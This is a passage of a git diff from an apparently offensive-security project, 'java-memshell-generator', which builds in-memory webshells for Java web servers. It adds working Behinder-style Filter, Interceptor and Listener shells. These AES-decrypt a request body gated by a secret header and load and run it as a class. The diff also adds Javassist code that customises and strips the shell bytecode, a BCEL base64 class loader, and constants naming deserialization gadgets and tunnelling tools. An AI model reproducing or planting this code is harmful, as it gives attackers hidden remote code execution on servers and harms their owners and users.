||||||
|
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] modifyShell(String className, AbstractConfig config) {
|
||||||
|
byte[] bytes = new byte[0];
|
||||||
|
try {
|
||||||
|
pool.insertClassPath(new ClassClassPath(BehinderGenerator.class));
|
||||||
|
CtClass ctClass = pool.getCtClass(className);
|
||||||
|
ctClass.getClassFile().setVersionToJava5();
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16));
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
|
||||||
|
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
|
||||||
|
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
|
||||||
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
|
}
|
||||||
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
|
bytes = ctClass.toBytecode();
|
||||||
|
ctClass.detach();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
package jmg.behinder.memshell;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.*;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
|
||||||
|
public class BehinderFilter extends ClassLoader implements Filter {
|
||||||
|
public String pass;
|
||||||
|
public String headerName;
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
public Class g(byte[] b) {
|
||||||
|
return super.defineClass(b, 0, b.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public BehinderFilter() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public BehinderFilter(ClassLoader c) {
|
||||||
|
super(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
|
||||||
|
Map obj = new HashMap();
|
||||||
|
obj.put("request", servletRequest);
|
||||||
|
obj.put("response", response);
|
||||||
|
obj.put("session", session);
|
||||||
|
|
||||||
|
session.putValue("u", this.pass);
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||||
|
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
|
||||||
|
} else {
|
||||||
|
filterChain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
filterChain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] doBase64Decode(String str) throws Exception {
|
||||||
|
try {
|
||||||
|
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
Class clazz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void destroy() {
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
package jmg.behinder.memshell;
|
||||||
|
|
||||||
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.http.Cookie;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.UUID;
|
||||||
|
|
||||||
|
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
|
||||||
|
|
||||||
|
|
||||||
|
public String pass;
|
||||||
|
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
|
||||||
|
public Class g(byte[] b) {
|
||||||
|
return super.defineClass(b, 0, b.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public BehinderInterceptor(ClassLoader c) {
|
||||||
|
super(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public BehinderInterceptor() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
try {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
Map obj = new HashMap();
|
||||||
|
obj.put("request", request);
|
||||||
|
obj.put("response", response);
|
||||||
|
obj.put("session", session);
|
||||||
|
session.putValue("u", this.pass);
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||||
|
(new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj);
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
} else {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] b64Decode(String bs) throws Exception {
|
||||||
|
byte[] value = null;
|
||||||
|
|
||||||
|
Class base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,97 @@
|
|||||||
|
package jmg.behinder.memshell;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.ServletRequestEvent;
|
||||||
|
import javax.servlet.ServletRequestListener;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
||||||
|
public String pass;
|
||||||
|
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
|
||||||
|
public BehinderListener() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public BehinderListener(ClassLoader c) {
|
||||||
|
super(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public Class g(byte[] b) {
|
||||||
|
return super.defineClass(b, 0, b.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
Map obj = new HashMap();
|
||||||
|
obj.put("request", request);
|
||||||
|
obj.put("response", response);
|
||||||
|
obj.put("session", session);
|
||||||
|
try {
|
||||||
|
session.putValue("u", pass);
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||||
|
(new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
|
||||||
|
} catch (Exception var7) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||||
|
Field var2 = null;
|
||||||
|
Class var3 = var0.getClass();
|
||||||
|
|
||||||
|
while (var3 != Object.class) {
|
||||||
|
try {
|
||||||
|
var2 = var3.getDeclaredField(var1);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
var3 = var3.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (var2 == null) {
|
||||||
|
throw new NoSuchFieldException(var1);
|
||||||
|
} else {
|
||||||
|
var2.setAccessible(true);
|
||||||
|
return var2.get(var0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] base64Decode(String str) throws Exception {
|
||||||
|
try {
|
||||||
|
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
Class clazz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||||
|
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
package jmg.behinder.util;
|
||||||
|
|
||||||
|
import jmg.behinder.memshell.BehinderFilter;
|
||||||
|
import jmg.behinder.memshell.BehinderInterceptor;
|
||||||
|
import jmg.behinder.memshell.BehinderListener;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class ShellUtil {
|
||||||
|
|
||||||
|
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
|
||||||
|
private static final Map<String, Map<String, String>> toolMap = new HashMap();
|
||||||
|
|
||||||
|
public ShellUtil() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getShellName(String toolType, String shellType) {
|
||||||
|
Map<String, String> shellMap = toolMap.get(toolType);
|
||||||
|
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getShellClassName(String shellName) throws Exception {
|
||||||
|
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
|
||||||
|
throw new Exception("Invalid shell type '" + shellName + "'");
|
||||||
|
} else {
|
||||||
|
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
|
||||||
|
|
||||||
|
Map<String, String> behinderMap = new HashMap();
|
||||||
|
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
|
||||||
|
behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
|
||||||
|
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
|
||||||
|
toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<parent>
|
||||||
|
<artifactId>java-memshell-generator</artifactId>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
</parent>
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<artifactId>jmg-core</artifactId>
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<!-- https://mvnrepository.com/artifact/org.springframework/spring-web -->
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework</groupId>
|
||||||
|
<artifactId>spring-web</artifactId>
|
||||||
|
<version>5.3.29</version>
|
||||||
|
</dependency>
|
||||||
|
<!-- https://mvnrepository.com/artifact/org.springframework/spring-webflux -->
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework</groupId>
|
||||||
|
<artifactId>spring-webflux</artifactId>
|
||||||
|
<version>5.3.29</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
</dependencies>
|
||||||
|
</project>
|
||||||
@@ -0,0 +1,307 @@
|
|||||||
|
package jmg.core.config;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class AbstractConfig {
|
||||||
|
|
||||||
|
|
||||||
|
private String injectorClassName;
|
||||||
|
|
||||||
|
public String getInjectorClassName() {
|
||||||
|
return injectorClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setInjectorClassName(String injectorClassName) {
|
||||||
|
this.injectorClassName = injectorClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private boolean implementsASTTransformationType = false;
|
||||||
|
|
||||||
|
private boolean implementsScriptEngineFactory = false;
|
||||||
|
|
||||||
|
public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
|
||||||
|
this.implementsASTTransformationType = implementsASTTransformationType;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
|
||||||
|
this.implementsScriptEngineFactory = implementsScriptEngineFactory;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isImplementsASTTransformationType() {
|
||||||
|
return implementsASTTransformationType;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isImplementsScriptEngineFactory() {
|
||||||
|
return implementsScriptEngineFactory;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private String injectorSimpleClassName;
|
||||||
|
|
||||||
|
public String getInjectorSimpleClassName() {
|
||||||
|
return injectorSimpleClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setInjectorSimpleClassName(String injectorSimpleClassName) {
|
||||||
|
this.injectorSimpleClassName = injectorSimpleClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private byte[] injectorBytes;
|
||||||
|
|
||||||
|
public byte[] getInjectorBytes() {
|
||||||
|
return injectorBytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setInjectorBytes(byte[] injectorBytes) {
|
||||||
|
this.injectorBytes = injectorBytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private int injectorBytesLength;
|
||||||
|
|
||||||
|
public int getInjectorBytesLength() {
|
||||||
|
return injectorBytesLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setInjectorBytesLength(int injectorBytesLength) {
|
||||||
|
this.injectorBytesLength = injectorBytesLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
private String shellClassName;
|
||||||
|
|
||||||
|
public String getShellClassName() {
|
||||||
|
return shellClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setShellClassName(String className) {
|
||||||
|
this.shellClassName = className;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
private String shellSimpleClassName;
|
||||||
|
|
||||||
|
public String getShellSimpleClassName() {
|
||||||
|
return shellSimpleClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setShellSimpleClassName(String shellSimpleClassName) {
|
||||||
|
this.shellSimpleClassName = shellSimpleClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] shellBytes;
|
||||||
|
|
||||||
|
public byte[] getShellBytes() {
|
||||||
|
return shellBytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setShellBytes(byte[] shellBytes) {
|
||||||
|
this.shellBytes = shellBytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private int shellBytesLength;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
public int getShellBytesLength() {
|
||||||
|
return shellBytesLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setShellBytesLength(int shellBytesLength) {
|
||||||
|
this.shellBytesLength = shellBytesLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getShellGzipBase64String() {
|
||||||
|
return shellGzipBase64String;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setShellGzipBase64String(String shellGzipBase64String) {
|
||||||
|
this.shellGzipBase64String = shellGzipBase64String;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String shellGzipBase64String;
|
||||||
|
|
||||||
|
|
||||||
|
public boolean isEnableDebug() {
|
||||||
|
return enableDebug;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setEnableDebug(boolean enableDebug) {
|
||||||
|
this.enableDebug = enableDebug;
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean enableDebug = false;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
private String urlPattern;
|
||||||
|
|
||||||
|
private String outputFormat;
|
||||||
|
private String savePath;
|
||||||
|
private String pass;
|
||||||
|
private String key;
|
||||||
|
private String serverType;
|
||||||
|
private String shellType;
|
||||||
|
|
||||||
|
private String headerName;
|
||||||
|
private String headerValue;
|
||||||
|
|
||||||
|
|
||||||
|
private String methodBody;
|
||||||
|
|
||||||
|
|
||||||
|
private String gadgetType;
|
||||||
|
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return urlPattern;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setUrlPattern(String urlPattern) {
|
||||||
|
this.urlPattern = urlPattern;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getOutputFormat() {
|
||||||
|
return outputFormat;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setOutputFormat(String outputFormat) {
|
||||||
|
this.outputFormat = outputFormat;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getSavePath() {
|
||||||
|
return savePath;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setSavePath(String savePath) {
|
||||||
|
this.savePath = savePath;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getPass() {
|
||||||
|
return pass;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setPass(String pass) {
|
||||||
|
this.pass = pass;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getKey() {
|
||||||
|
return key;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setKey(String key) {
|
||||||
|
this.key = key;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getServerType() {
|
||||||
|
return serverType;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setServerType(String serverType) {
|
||||||
|
this.serverType = serverType;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getShellType() {
|
||||||
|
return shellType;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setShellType(String shellType) {
|
||||||
|
this.shellType = shellType;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getToolType() {
|
||||||
|
return toolType;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setToolType(String toolType) {
|
||||||
|
this.toolType = toolType;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String toolType;
|
||||||
|
|
||||||
|
|
||||||
|
public String getHeaderName() {
|
||||||
|
return headerName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setHeaderName(String headerName) {
|
||||||
|
this.headerName = headerName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getHeaderValue() {
|
||||||
|
return headerValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setHeaderValue(String headerValue) {
|
||||||
|
this.headerValue = headerValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
public String getGadgetType() {
|
||||||
|
return gadgetType;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setGadgetType(String gadgetType) {
|
||||||
|
this.gadgetType = gadgetType;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public Map getMessage() {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setMessage(Map message) {
|
||||||
|
this.result = message;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Map result = new HashMap();
|
||||||
|
|
||||||
|
|
||||||
|
public String getExprEncoder() {
|
||||||
|
return exprEncoder;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setExprEncoder(String exprEncoder) {
|
||||||
|
this.exprEncoder = exprEncoder;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String exprEncoder;
|
||||||
|
|
||||||
|
public String getExtenderSimpleClassName() {
|
||||||
|
return extenderSimpleClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private String extenderSimpleClassName;
|
||||||
|
|
||||||
|
public String getLoaderClassName() {
|
||||||
|
return loaderClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLoaderClassName(String loaderClassName) {
|
||||||
|
this.loaderClassName = loaderClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String loaderClassName;
|
||||||
|
|
||||||
|
private String classFilePath;
|
||||||
|
|
||||||
|
public String getClassFilePath() {
|
||||||
|
return classFilePath;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setClassFilePath(String classFilePath) {
|
||||||
|
this.classFilePath = classFilePath;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
package jmg.core.config;
|
||||||
|
|
||||||
|
public class Constants {
|
||||||
|
|
||||||
|
public static final String JMG_VERSION = "1.0.8";
|
||||||
|
|
||||||
|
public static final String JMG_NAME = "java-memshell-generator";
|
||||||
|
public static final String JMG_DESCRIPTION = "Java 内存马生成器";
|
||||||
|
|
||||||
|
public static final String JMG_AUTHOR = "pen4uin";
|
||||||
|
|
||||||
|
public static final String SERVER_TOMCAT = "Tomcat";
|
||||||
|
public static final String SERVER_SPRING_MVC = "SpringMVC";
|
||||||
|
public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux";
|
||||||
|
|
||||||
|
public static final String SERVER_JETTY = "Jetty";
|
||||||
|
public static final String SERVER_RESIN = "Resin";
|
||||||
|
public static final String SERVER_WEBLOGIC = "Weblogic";
|
||||||
|
public static final String SERVER_WEBSPHERE = "Websphere";
|
||||||
|
public static final String SERVER_UNDERTOW = "Undertow";
|
||||||
|
public static final String SERVER_GLASSFISH = "Glassfish";
|
||||||
|
|
||||||
|
public static final String SERVER_JBOSS = "JBoss";
|
||||||
|
|
||||||
|
|
||||||
|
public static final String SHELL_LISTENER = "Listener";
|
||||||
|
public static final String SHELL_FILTER = "Filter";
|
||||||
|
public static final String SHELL_VALVE = "Valve";
|
||||||
|
public static final String SHELL_INTERCEPTOR = "Interceptor";
|
||||||
|
public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
|
||||||
|
public static final String SHELL_WS_ENDPOINT = "WSEndpoint";
|
||||||
|
public static final String FORMAT_CLASS = "CLASS";
|
||||||
|
public static final String FORMAT_BCEL = "BCEL";
|
||||||
|
public static final String FORMAT_JSP = "JSP";
|
||||||
|
public static final String FORMAT_JAR = "JAR";
|
||||||
|
public static final String FORMAT_JAR_AGENT = "JAR_AGENT";
|
||||||
|
public static final String FORMAT_JS = "JS";
|
||||||
|
public static final String FORMAT_BASE64 = "BASE64";
|
||||||
|
public static final String FORMAT_BIGINTEGER = "BIGINTEGER";
|
||||||
|
|
||||||
|
|
||||||
|
public static final String GADGET_FJ_GROOVY = "FastjsonGroovy";
|
||||||
|
|
||||||
|
public static final String GADGET_SNAKEYAML = "SnakeYaml";
|
||||||
|
|
||||||
|
public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
|
||||||
|
public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
|
||||||
|
|
||||||
|
public static final String TOOL_ANTSWORD = "AntSword";
|
||||||
|
public static final String TOOL_BEHINDER = "Behinder";
|
||||||
|
public static final String TOOL_GODZILLA = "Godzilla";
|
||||||
|
|
||||||
|
public static final String TOOL_CUSTOM = "Custom";
|
||||||
|
|
||||||
|
public static final String TOOL_NEOREGEORG = "NeoreGeorg";
|
||||||
|
public static final String TOOL_SUO5 = "Suo5";
|
||||||
|
|
||||||
|
public static final String EXPR_EL = "EL";
|
||||||
|
public static final String EXPR_SPEL = "SpEL";
|
||||||
|
public static final String EXPR_OGNL = "OGNL";
|
||||||
|
public static final String EXPR_FREEMARKER = "FreeMarker";
|
||||||
|
public static final String EXPR_VELOCITY = "Velocity";
|
||||||
|
public static final String EXPR_JS = "ScriptEngineManager(JS)";
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package jmg.core.format;
|
||||||
|
|
||||||
|
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
public class BASE64Formater implements IFormater {
|
||||||
|
@Override
|
||||||
|
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||||
|
Base64.Encoder base64Encoder = Base64.getEncoder();
|
||||||
|
return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package jmg.core.format;
|
||||||
|
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import me.gv7.woodpecker.bcel.HackBCELs;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public class BCELFormater implements IFormater {
|
||||||
|
|
||||||
|
|
||||||
|
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||||
|
// 解决 BCEL 的classloader 的问题
|
||||||
|
byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
|
||||||
|
return HackBCELs.encode(bcelClzBytes).getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
package jmg.core.format;
|
||||||
|
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
|
public class BCELoader {
|
||||||
|
static {
|
||||||
|
new BCELoader();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getBase64String() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public BCELoader() {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
try {
|
||||||
|
classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
byte[] clazzBytes = decodeFromBase64(getBase64String());
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length);
|
||||||
|
clazz.newInstance();
|
||||||
|
} catch (Exception ee) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] decodeFromBase64(String input) {
|
||||||
